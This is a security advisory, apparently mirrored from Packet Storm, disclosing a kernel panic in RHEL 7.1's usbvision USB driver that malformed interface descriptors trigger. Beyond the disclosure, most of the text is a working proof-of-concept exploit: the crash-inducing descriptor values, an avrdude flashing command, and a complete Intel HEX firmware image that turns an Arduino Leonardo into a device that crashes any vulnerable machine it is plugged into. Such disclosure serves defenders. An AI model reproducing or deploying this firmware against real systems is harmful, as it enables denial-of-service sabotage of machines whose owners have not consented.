Lucene search
K

RedHat Enterprise Linux 7.1 Denial Of Service

🗓️ 07 Oct 2015 00:00:00Reported by Ralf SpennebergType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

Local RedHat Enterprise Linux DoS - RHEL 7.1 Kernel crashes on invalid USB device descriptors (usbvision driver). Critical severity, trivial exploitation, wrong input validation

Code
`OpenSource Security Ralf Spenneberg  
Am Bahnhof 3-5  
48565 Steinfurt  
[email protected]  
  
OS-S Security Advisory 2015-04  
http://www.os-s.net/advisories/DOS-KernelCrashesOnInvalidUSBDeviceDescriptors-UsbvisionDriver.pdf  
  
Date: October 7th, 2015  
Last Updated: October 7th, 2015  
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg  
CVE: not yet assigned  
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)   
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid   
USB device descriptors (usbvision driver)  
Severity: Critical. The Kernel panics. A reboot is required.  
Vendor contacted: March 13th 2015   
https://bugzilla.redhat.com/show_bug.cgi?id=1201858  
Ease of Exploitation: Trivial  
Vulnerability type: Wrong input validation  
Products: RHEL 7.1 including all updates  
  
Abstract  
The Kernel 3.10.0-123.20.1.el7.x86_64 crashes when presented a buggy USB   
device which requires the usbvision driver. All subsequently published kernel   
updates crash as well.  
Detailed product description  
We confirmed the bug on the following system:  
RHEL 7.1  
kernel >= 3.10.0-123.20.1.el7.x86_64  
  
  
Further products or kernel versions have not been tested  
Description  
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo   
(github.com/schumilo) using the following device descriptor:  
  
###[ USB_Device_Descriptor ]###  
bLength = 18  
bDescriptorType= 0x1  
bcdUSB = 0x200  
bDeviceClass= 0xff  
bDeviceSubClass= 0  
bDeviceProtocol= 0  
bMaxPacketSize= 64  
isVendor = 0x573  
idProduct = 0x4d26  
bcdDevice = 0x100  
iManufacturer= 1  
iProduct = 2  
iSerialNumber= 3  
bNumConfigurations= 1  
  
This is the configuration descriptor containing the malicious value for   
bInterfaceNumber causing the crash. Any number but 0 crashes the system.  
  
###[ USB_Configuration_Descriptor ]###  
bLength = 9  
bDescriptorType= 0x2  
wTotalLength= 0x27  
bNumInterfaces= 1  
bConfigurationValue= 1  
iConfiguration= 0  
bmAttributes= Remote_Wakeup+Self_Powered+Reserved_D7  
bMaxPower = 49  
###[ USB_Interface_Descriptor ]###  
bLength = 9  
bDescriptorType= 0x4  
bInterfaceNumber= 255  
bAlternateSetting= 0  
bNumEndpoints= 3  
bInterfaceClass= 0xff  
bInterfaceSubClass= 0x0  
bInterfaceProtocol= 0x0  
iInterface= 0  
###[ USB_Endpoint_Descriptor ]###  
bLength = 7  
bDescriptorType= 0x5  
bEndpointAddress= 0x81  
bmAttribut= 0x3  
wMaxPacketSize= 1028  
bInterval = 12  
###[ USB_Endpoint_Descriptor ]###  
bLength = 7  
bDescriptorType= 0x5  
bEndpointAddress= 0x1  
bmAttribut= 0x2  
wMaxPacketSize= 4  
bInterval = 12  
###[ USB_Endpoint_Descriptor ]###  
bLength = 7  
bDescriptorType= 0x5  
bEndpointAddress= 0x82  
bmAttribut= 0x1  
wMaxPacketSize= 4  
bInterval = 12  
  
Proof of Concept  
For a proof of concept we are providing a Arduino firmware file. Just flash it   
on Arduino Leonardo and plug it into any RHEL machine. The arduino will   
emulate the defective USB device.  
  
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U   
flash:w:binary.hex  
  
The file binary.hex has been attached to this bug report  
  
To prevent automated sending of payloads, use a jumper to connect port D3 and   
3V3!  
  
Severity and Ease of Exploitation  
The security weakness can be easily exploited. Using our arduino firmware only   
physical access to the system is required.   
Vendor Communication  
We unsuccessfully tried to contact the vendor for several months. We never   
received any response on our bugtraq ticket:   
https://bugzilla.redhat.com/show_bug.cgi?id=1201858  
  
Arduino Firmware  
:100000000C94A8000C94C5000C94C5000C94C50079  
:100010000C94C5000C94C5000C94C5000C94C5004C  
:100020000C94C5000C94C5000C94CC050C943704BA  
:100030000C94C5000C94C5000C94C5000C94C5002C  
:100040000C94C5000C94C5000C94C5000C94C5001C  
:100050000C94C5000C94C5000C94C5000C941602B9  
:100060000C94C5000C94C5000C94C5000C94C500FC  
:100070000C94C5000C94C5000C94C5000C94C500EC  
:100080000C94C5000C94C5000C94C5000C94C500DC  
:100090000C94C5000C94C5000C94C5000C94C500CC  
:1000A0000C94C5000C94C5000C94C50013031603F2  
:1000B00009030D033703370337031A031E03220313  
:1000C00028032C03370332030000000200080E004F  
:1000D00000030401000B000000000000000000000D  
:1000E00000000000000004080201104080401020C1  
:1000F00040804080080204018040201002011080EE  
:100100001020404004040404040304050202020217  
:1001100004030202020206060606060604040202A0  
:100120000204000000002300260029002C002F00FC  
:1001300000000000250028002B002E0031000000E8  
:100140000000240027002A002D00300000C180811B  
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077  
:10016000B1E0E4EEF3E102C005900D92A436B107D0  
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C  
:10018000E1F70E94C8000C940C070C94000008953D  
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421  
:1001A000DEBF0FBECDBF0E94A9020E94C70060E063  
:1001B00083E00E94380361E087E00E94380361E039  
:1001C00088E00E9438030E9461067E012AE9E20E5F  
:1001D000F11C84E093E0D70111969C938E9389E003  
:1001E00094E013969C938E93129782E2E2E1F1E001  
:1001F0009E012F5F3F4F6901D90101900D928A95B1  
:10020000E1F788E1E4E3F1E0DE01939601900D92DD  
:100210008A95E1F782E1ECE4F1E0DE01DB96019002  
:100220000D928A95E1F789E0EEE5F1E0DE01A05953  
:10023000BF4F01900D928A95E1F7CE0189599F4FEA  
:1002400029E0922EDC01E92D1D92EA95E9F78E0155  
:1002500009571F4F27E0E7E6F1E0D80101900D9222  
:100260002A95E1F7BE0160587F4F27E0EEE6F1E006  
:10027000DB0101900D922A95E1F7AE0147585F4FDF  
:1002800027E0E5E7F1E0DA0101900D922A95E1F728  
:100290005E01FEE8AF0EB11C26E0ECE7F1E0D5010F  
:1002A00001900D922A95E1F79E01235B3F4FEEE00E  
:1002B000D9011D92EA95E9F7F3E0D9011996FC936B  
:1002C000DC019C92E4E01196EC931197EFEF12960B  
:1002D000EC9312971496FC9314971596EC93FC01EB  
:1002E000D901892D01900D928A95E1F7FE01EC5616  
:1002F000FF4FD9011B96FC93EE931A971D96BC9263  
:10030000AE921C9711830083738362835583448369  
:100310000C5211098CE0F80111928A95E9F781E0FD  
:10032000D80119968C931997FE01E059FF4F01905F  
:100330000D929A94E1F7F8013387228761E088E013  
:100340000E9471038BE492E00E946D0688E892E0BF  
:100350000E946D0687EC92E00E946D0686E093E0B5  
:100360000E946D0682E493E00E946D068FE793E0A1  
:100370000E946D0684EA93E00E946D068BEE93E086  
:100380000E946D0683E00E94A703892B09F047C0F5  
:100390005E01F3E2AF0EB11C8824839482E1982EB3  
:1003A00084E194E00E946D06BF92AF92DF92CF92FB  
:1003B000FF92EF921F928F921F930F932DB73EB72C  
:1003C000225131090FB6F8943EBF0FBE2DBFADB715  
:1003D000BEB71196FE01FB96892D01900D928A956C  
:1003E000E1F78DE695E00E940B0668E873E180E096  
:1003F00090E00E9483028DE695E00E94560660E040  
:1004000087E00E94710368E873E180E090E00E9459  
:1004100083020FB6F894DEBF0FBECDBFC1CF6AE036  
:1004200070E080E090E00E948302ACCF1F920F92B8  
:100430000FB60F9211242F933F938F939F93AF93F7  
:10044000BF938091650590916605A0916705B09175  
:1004500068053091640523E0230F2D3720F40196C1  
:10046000A11DB11D05C026E8230F0296A11DB11DD7  
:10047000209364058093650590936605A0936705B6  
:10048000B09368058091690590916A05A0916B050C  
:10049000B0916C050196A11DB11D809369059093E3  
:1004A0006A05A0936B05B0936C05BF91AF919F91C6  
:1004B0008F913F912F910F900FBE0F901F90189525  
:1004C0003FB7F8948091690590916A05A0916B05FA  
:1004D000B0916C0526B5A89B05C02F3F19F0019679  
:1004E000A11DB11D3FBF6627782F892F9A2F620F5C  
:1004F000711D811D911D42E0660F771F881F991F96  
:100500004A95D1F70895CF92DF92EF92FF92CF9361  
:10051000DF936B017C010E946002EB01C114D104E6  
:10052000E104F10479F00E9460026C1B7D0B683ECF  
:100530007340A0F381E0C81AD108E108F108C8515E  
:10054000DC4FECCFDF91CF91FF90EF90DF90CF9019  
:100550000895789484B5826084BD84B5816084BD3B  
:1005600085B5826085BD85B5816085BDEEE6F0E02C  
:10057000808181608083E1E8F0E010828081826088  
:100580008083808181608083E0E8F0E08081816009  
:100590008083E1E9F0E080818260808380818160F6  
:1005A0008083E0E9F0E0808181608083E1ECF0E02D  
:1005B000808184608083808182608083808181608B  
:1005C0008083E3ECF0E0808181608083E0ECF0E008  
:1005D000808182608083E2ECF0E0808181608083B2  
:1005E000EAE7F0E08081846080838081826080839C  
:1005F000808181608083808180688083089590E01D  
:10060000FC013197EE30F10590F5EA5AFF4F0C945A  
:10061000B309809180008F7703C0809180008F7D27  
:1006200080938000089584B58F7702C084B58F7D54  
:1006300084BD0895809190008F7707C080919000CD  
:100640008F7D03C080919000877F809390000895F4  
:100650008091C0008F7703C08091C0008F7D809310  
:10066000C00008958091C200877F8093C2000895E2  
:10067000CF93DF9390E0FC01EA51FF4F2491FC01FE  
:10068000EC5FFE4F8491882349F190E0880F991F19  
:10069000FC01E25CFE4FA591B491805D9E4FFC0190  
:1006A000C591D4919FB7611108C0F8948C912095A1  
:1006B00082238C93888182230AC0623051F4F8949B  
:1006C0008C91322F309583238C938881822B888361  
:1006D00004C0F8948C91822B8C939FBFDF91CF91B3  
:1006E00008950F931F93CF93DF931F92CDB7DEB77B  
:1006F000282F30E0F901E853FF4F8491F901EA51C6  
:10070000FF4F1491F901EC5FFE4F04910023C9F0F3  
:10071000882321F069830E94FF026981E02FF0E0C5  
:10072000EE0FFF1FE05DFE4FA591B4919FB7F894C7  
:100730008C91611103C01095812301C0812B8C9392  
:100740009FBF0F90DF91CF911F910F910895CF938D  
:10075000DF93282F30E0F901E853FF4F8491F9012E  
:10076000EA51FF4FD491F901EC5FFE4FC491CC23C5  
:1007700091F081110E94FF02EC2FF0E0EE0FFF1FBD  
:10078000EE5DFE4FA591B4912C912D2381E090E078  
:1007900021F480E002C080E090E0DF91CF910895E5  
:1007A000615030F02091F100FC0120830196F8CFD8  
:1007B000289884E680937D0508951092E9001092B0  
:1007C00071051092700590936F0580936E050895E2  
:1007D000FF920F931F93CF93DF93F82E8B01EA01C3  
:1007E000BA01C8010E94AE06F80120E030E08EEFA9  
:1007F0002C173D0791F1F7FE02C0A49101C0A08122  
:10080000609170057091710540916E0550916F0572  
:1008100064177507ACF49091E8009570E1F390913E  
:10082000E80092FD1CC0A093F100A0917005B0916A  
:1008300071051196AF73BB27AB2B11F48093E800C1  
:10084000A0917005B09171051196B0937105A093B8  
:1008500070052F5F3F4F3196CBCFC90102C08FEF9C  
:100860009FEFDF91CF911F910F91FF9008951F92FD  
:100870000F920FB60F9211246F927F928F929F92D8  
:10088000AF92BF92CF92DF92EF92FF920F931F939E  
:100890002F933F934F935F936F937F938F939F9388  
:1008A000AF93BF93EF93FF93CF93DF93CDB7DEB7B3  
:1008B0006297DEBFCDBF1092E9008091E80083FF10  
:1008C00046C168E0CE010A960E94D00382EF809371  
:1008D000E8009A8597FF05C08091E80080FFFCCF73  
:1008E00003C08EEF8093E800892F807609F023C142  
:1008F0008B85811105C01092F1001092F10020C18A  
:10090000282F2D7F213009F41BC1853049F48091B7  
:10091000E80080FFFCCF8C8580688093E30010C1E5  
:10092000863009F0E1C02D8508891989223009F047  
:10093000B3C0EC848E2D90E0209173053091740546  
:10094000821793070CF09FC00E94DD031F92EF9265  
:100950008DE394E09F938F930E948B068CE0E89E3A  
:1009600070011124E0917505F0917605EE0DFF1DE3  
:1009700089E0DE01119601900D928A95E1F7C80198  
:100980000E94DD0349E050E0BE016F5F7F4F80E0D1  
:100990000E94E8030F900F900F900F90C12CD12C64  
:1009A000612C712C33E7A32E34E0B32E4AEA842E57  
:1009B00044E0942EE0917505F0917605EE0DFF1D53  
:1009C000818590E0681679060CF0BAC07F926F922C  
:1009D000BF92AF920E948B06E0917505F09176056B  
:1009E000EE0DFF1D628573856C0D7D1D49E050E0A5  
:1009F00080E00E94E8030F900F900F900F9000E0AE  
:100A000010E0E0917505F0917605EE0DFF1D028472  
:100A1000F385E02DEC0DFD1D818590E00817190789  
:100A20005CF51F930F939F928F920E948B06E0912B  
:100A30007505F0917605EE0DFF1D0284F385E02D1E  
:100A4000EC0DFD1DC801880F991FA485B585A80F61  
:100A5000B91F4D915C910284F385E02DE80FF91FD9  
:100A60006081718180E00E94E8030F5F1F4F0F904B  
:100A70000F900F900F90C5CF8FEF681A780A8EE015  
:100A8000C80ED11C97CF8FED94E09F938F930E9457  
:100A90008B060F900F9058C0C8012A8B0E94DD036F  
:100AA0002A892130C1F0233009F04EC08C851F9275  
:100AB0008F9389EF94E09F938F930E948B0642E07F  
:100AC00050E062E871E080E00E94E8030F900F9030  
:100AD0000F900F9035C04091000150E060E071E050  
:100AE00080E00E94E8032CC0873071F1883021F447  
:100AF00081E08093F10024C0893011F5937021F5D5  
:100B0000EDE4F1E081E021E096E38093E9002093B9  
:100B1000EB0034913093EC009093ED008F5F3196B1  
:100B2000843099F78EE78093EA001092EA008C8572  
:100B30008093720505C0888999890E94DD0304C0ED  
:100B40008EEF8093E80003C081E28093EB00629611  
:100B50000FB6F894DEBF0FBECDBFDF91CF91FF91EE  
:100B6000EF91BF91AF919F918F917F916F915F9125  
:100B70004F913F912F911F910F91FF90EF90DF9038  
:100B8000CF90BF90AF909F908F907F906F900F907D  
:100B90000FBE0F901F9018951F920F920FB60F92D5  
:100BA00011248F939F938091E1001092E10083FFC5  
:100BB0000FC01092E90091E09093EB001092EC00CE  
:100BC00092E39093ED001092720598E09093F000FC  
:100BD00082FF1AC080917E05882339F080917E05BE  
:100BE000815080937E05882369F080917D0588235C  
:100BF00059F080917D05815080937D05811104C05D  
:100C0000289A02C05D9AF1CF9F918F910F900FBEED  
:100C10000F901F901895CF93DF93CDB7DEB782E189  
:100C2000FE013596A0E0B1E001900D928A95E1F7C2  
:100C30008F89988D9093760580937505898D9A8D0F  
:100C400090937405809373058B8D9C8D90937C0598  
:100C500080937B058D8D9E8D90937A058093790589  
:100C60008F8D98A1909378058093770510927205E7  
:100C700081E08093D70080EA8093D80082E189BD2B  
:100C800009B400FEFDCF61E070E080E090E00E94DA  
:100C9000830280E98093D8008CE08093E200109278  
:100CA000E000559A209ADF91CF91089581E08093DA  
:100CB000E00008959091C80095FFFCCF8093CE008E  
:100CC00008951092CD0087E68093CC0088E1809350  
:100CD000C9008EE08093CA0008950F931F93CF93AD  
:100CE000DF93EC018C01FE0101900020E9F73197C0  
:100CF000EC1BFD0BC8018C1B9D0B8E179F0730F45E  
:100D0000F80181918F010E945A06EDCFDF91CF91BA  
:100D10001F910F910895CF93DF93CDB7DEB7DA958A  
:100D20000FB6F894DEBF0FBECDBFFE01EB5FFE4FE6  
:100D3000419151919F0160E071E0CE0101960E94C6  
:100D40000F07CE0101960E946D06D3950FB6F89459  
:100D5000DEBF0FBECDBFDF91CF9108958F929F92DE  
:100D6000AF92BF92CF92DF92EF92FF920F931F93B9  
:100D7000CF93DF9300D0CDB7DEB75B0122E535E03E  
:100D80003F932F9389839A830E948B068981882EB3  
:100D90009A81992E0F900F9000E010E08EE5E82EDA  
:100DA00085E0F82E91E1C92E94E0D92E0A151B0595  
:100DB000E4F4F40181914F0190E09F938F93FF92AF  
:100DC000EF920E948B060F5F1F4FC8018F7099270B  
:100DD0000F900F900F900F90892B41F7DF92CF92D9  
:100DE0000E948B060F900F90E1CF81E194E09F93DA  
:100DF0008F930E948B060F900F900F900F90DF91B2  
:100E0000CF911F910F91FF90EF90DF90CF90BF9007  
:100E1000AF909F908F900895F8940C94F009AEE0F5  
:100E2000B0E0E5E1F7E00C94C7098C01CA0146E0A7  
:100E30004C831A83098377FF02C060E070E8615039  
:100E400071097E836D83A901BC01CE0101960E94C8  
:100E50003B074D815E8157FD0AC02F8138854217BF  
:100E600053070CF49A01F801E20FF31F10822E963B  
:100E7000E4E00C94E309ACE0B0E0E1E4F7E00C94CA  
:100E8000B9097C016B018A01FC01178216828381FA  
:100E900081FFBDC1CE0101964C01F7019381F6019E  
:100EA00093FD859193FF81916F01882309F4ABC174  
:100EB000853239F493FD859193FF81916F018532DD  
:100EC00029F4B70190E00E942309E7CF512C312C7F  
:100ED00020E02032A0F48B3269F030F4803259F0F7  
:100EE000833269F420612CC08D3239F0803339F4BB  
:100EF000216026C02260246023C0286021C027FD15  
:100F000027C030ED380F3A3078F426FF06C0FAE0FB  
:100F10005F9E300D1124532E13C08AE0389E300D91  
:100F20001124332E20620CC08E3221F426FD6BC1B9  
:100F3000206406C08C3611F4206802C0883641F463  
:100F4000F60193FD859193FF81916F018111C1CFCE  
:100F5000982F9F7D9554933028F40C5F1F4FFFE32B  
:100F6000F9830DC0833631F0833771F0833509F092  
:100F70005BC022C0F801808189830E5F1F4F44242B  
:100F80004394512C540115C03801F2E06F0E711CCE  
:100F9000F801A080B18026FF03C0652D70E002C07B  
:100FA0006FEF7FEFC5012C870E9418092C01830188  
:100FB0002C852F77222E17C03801F2E06F0E711C9E  
:100FC000F801A080B18026FF03C0652D70E002C04B  
:100FD0006FEF7FEFC5012C870E940D092C012C8536  
:100FE0002068222E830123FC1BC0832D90E048162D  
:100FF0005906B0F4B70180E290E00E9423093A94C8  
:10100000F4CFF50127FC859127FE81915F01B7019F  
:1010100090E00E94230931103A94F1E04F1A5108F0  
:101020004114510471F7E5C0843611F0893639F561  
:10103000F80127FF07C060817181828193810C5F75  
:101040001F4F08C060817181882777FD8095982F98  
:101050000E5F1F4F2F76B22E97FF09C09095809597  
:10106000709561957F4F8F4F9F4F2068B22E2AE079  
:1010700030E0A4010E945509A82EA81844C0853765  
:1010800029F42F7EB22E2AE030E025C0F22FF97F1E  
:10109000BF2E8F36C1F018F4883579F0B4C0803790  
:1010A00019F0883721F0AFC02F2F2061B22EB4FE87  
:1010B0000DC08B2D8460B82E09C024FF0AC09F2F5D  
:1010C0009660B92E06C028E030E005C020E130E08F  
:1010D00002C020E132E0F801B7FE07C060817181F3  
:1010E000828193810C5F1F4F06C06081718180E017  
:1010F00090E00E5F1F4FA4010E945509A82EA8186A  
:10110000FB2DFF77BF2EB6FE0BC02B2D2E7FA51417  
:1011100050F4B4FE0AC0B2FC08C02B2D2E7E05C0D0  
:101120007A2C2B2D03C07A2C01C0752C24FF0DC006  
:10113000FE01EA0DF11D8081803311F4297E09C082  
:1011400022FF06C07394739404C0822F867809F03E  
:10115000739423FD13C020FF06C05A2C731418F497  
:10116000530C5718732C731468F4B70180E290E0A5  
:101170002C870E94230973942C85F5CF731410F4E7  
:10118000371801C0312C24FF12C0B70180E390E072  
:101190002C870E9423092C8522FF17C021FF03C042  
:1011A00088E590E002C088E790E0B7010CC0822F8C  
:1011B000867859F021FD02C080E201C08BE227FD54  
:1011C0008DE2B70190E00E942309A51438F4B7011D  
:1011D00080E390E00E9423095A94F7CFAA94F40187  
:1011E000EA0DF11D8081B70190E00E942309A11052  
:1011F000F5CF332009F451CEB70180E290E00E9490  
:1012000023093A94F6CFF7018681978102C08FEFC8  
:101210009FEF2C96E2E10C94D509FC0105906150FA  
:1012200070400110D8F7809590958E0F9F1F0895FC  
:10123000FC016150704001900110D8F780959095A5  
:101240008E0F9F1F08950F931F93CF93DF93182F37  
:10125000092FEB018B8181FD03C08FEF9FEF20C031  
:1012600082FF10C04E815F812C813D814217530760  
:101270007CF4E881F9819F012F5F3F4F39832883F8  
:10128000108306C0E885F985812F0995892B29F7F8  
:101290002E813F812F5F3F4F3F832E83812F902FE1  
:1012A000DF91CF911F910F910895FA01AA2728305D  
:1012B00051F1203181F1E8946F936E7F6E5F7F4F23  
:1012C0008F4F9F4FAF4FB1E03ED0B4E03CD0670F9F  
:1012D000781F891F9A1FA11D680F791F8A1F911DF2  
:1012E000A11D6A0F711D811D911DA11D20D009F442  
:1012F00068943F912AE0269F11243019305D319384  
:10130000DEF6CF010895462F4770405D4193B3E06C  
:101310000FD0C9F7F6CF462F4F70405D4A3318F013  
:10132000495D31FD4052419302D0A9F7EACFB4E0C4  
:10133000A6959795879577956795BA95C9F700977C  
:101340006105710508959B01AC010A2E069457951D  
:10135000479537952795BA95C9F7620F731F841F74  
:10136000951FA01D0895EE0FFF1F0590F491E02D2D  
:1013700009942F923F924F925F926F927F928F9239  
:101380009F92AF92BF92CF92DF92EF92FF920F9314  
:101390001F93CF93DF93CDB7DEB7CA1BDB0B0FB61E  
:1013A000F894DEBF0FBECDBF09942A8839884888DB  
:1013B0005F846E847D848C849B84AA84B984C88471  
:1013C000DF80EE80FD800C811B81AA81B981CE0F68  
:1013D000D11D0FB6F894DEBF0FBECDBFED0108954D  
:0413E000F894FFCFAF  
:1013E4001201000200000040AD0BEFBE000101023B  
:1013F4000001220342006100640020004200410019  
:1014040042004500250078002500780025006E0084  
:1014140025007000180342004100440020004300EE  
:10142400300046004600450045002100120100023C  
:10143400FF0000407305264D00010102030109026B  
:10144400270001010000FA0705810304040C0705C5  
:10145400010204000C0705820104000C07000700C8  
:101464000700480100500072006F006C00690066BC  
:101474000069006300000A550000006BFD180A00B3  
:10148400809F0AB901312B940A8101128946001305  
:10149400000257028B0A5E0AF80A5F01F212010089  
:1014A40002010000400D055702000101020301B9C9  
:1014B4000A0100F80A5F0A810A22034200610064FB  
:1014C400002000420041004200450025007800252C  
:1014D40000780025006E00250070001803420041CA  
:1014E400004400200043003000460046004500450B  
:1014F40000210012010002010000400D0557020006  
:10150400010102030109040000030100000003F2C9  
:101514000AEC0A0902270001010000FA01AB0A09DA  
:101524000400000301000000090200202020202004  
:101534005F5F5F5F5F5F5F5F2020202020202020AF  
:101544002020202020202020202020202020202097  
:1015540020205F5F5F5F5F205F5F20205F2020208F  
:101564002020205F5F0A0D00202020202F205F5FB5  
:101574005F5F2F202F5F20205F5F5F5F205F5F5FD3  
:101584005F5F20205F5F5F5F5F20202020202F208F  
:101594005F5F5F2F2F202F5F285F295F5F5F5F2FC3  
:1015A400202F5F5F0A0D002020202F202F202020D5  
:1015B4002F205F5F205C2F205F5F20602F205F5F04  
:1015C400205C2F205F5F5F2F5F5F5F5F205C5F5F4A  
:1015D400205C2F205F5F2F202F205F5F5F2F202F45  
:1015E4002F5F2F0A0D0020202F202F5F5F5F2F20F9  
:1015F4002F202F202F202F5F2F202F202F5F2F20F1  
:10160400285F5F2020292F5F5F5F2F205F5F2F20DF  
:101614002F202F5F2F202F202F5F5F2F202C3C0A9D  
:101624000D0020205C5F5F5F5F2F5F2F202F5F2FF7  
:101634005C5F5F2C5F2F5C5F5F5F5F2F5F5F5F5F4F  
:101644002F20202020202F5F5F5F5F2F5C5F5F2FA4  
:101654005F2F5C5F5F5F2F5F2F7C5F7C0A0D002034  
:101664003C3C2043485241534820414E59204F505E  
:1016740045524154494E472053595354454D203EF9  
:101684003E0A0D00203C3C202863292053657267E4  
:10169400656A20536368756D696C6F20323031352B  
:1016A4002C204F70656E536F7572636520536563AC  
:1016B40075726974792052616C66205370656E6E20  
:1016C4006562657267203E3E0A0D000A3E3E205068  
:1016D4007265737320627574746F6E20746F2073F7  
:1016E4007461727420657865637574696F6E2E2EEB  
:1016F4002E0A0D005B44454255475D2045786563DD  
:10170400757465207061796C6F616420300A0D0016  
:10171400526563762D446174613A0A0D005B444559  
:101724004255475D200953656E6420436F6E6669B8  
:101734006775726174696F6E4465736372697074FE  
:101744006F720928696E6465783A2569292E2E2EF0  
:101754000D0A005B44454255475D200953656E649C  
:1017640020496E74657266616365204465736372B3  
:101774006970746F720928696E7465726661636555  
:101784003A2569292E2E2E0D0A005B444542554701  
:101794005D200953656E6420456E64706F696E74D4  
:1017A4002044657363726970746F720928656E648E  
:1017B400706F696E743A2569292E2E2E0D0A005B0E  
:1017C40044454255475D203C3C70616E6963206D21  
:1017D4006F64653F3E3E0D0A005B44454255475DDC  
:1017E4002009203E3E20537472696E67204465735D  
:1017F40063726970746F7220726571756573742099  
:101804002D2073656E64696E67206D616C666F72FE  
:101814006D656420737472696E67212073657475D5  
:10182400702E7756616C75654C203D3D2025690D01  
:101834000A005B48455844554D505D0A0D0025305B  
:0418440032582000F6  
:00000001FF  
  
--   
OpenSource Security Ralf Spenneberg http://www.os-s.de  
Am Bahnhof 3-5 48565 Steinfurt Germany  
Fon: +49(0)2552 638 755 Fax: +49(0)2552 638 757  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation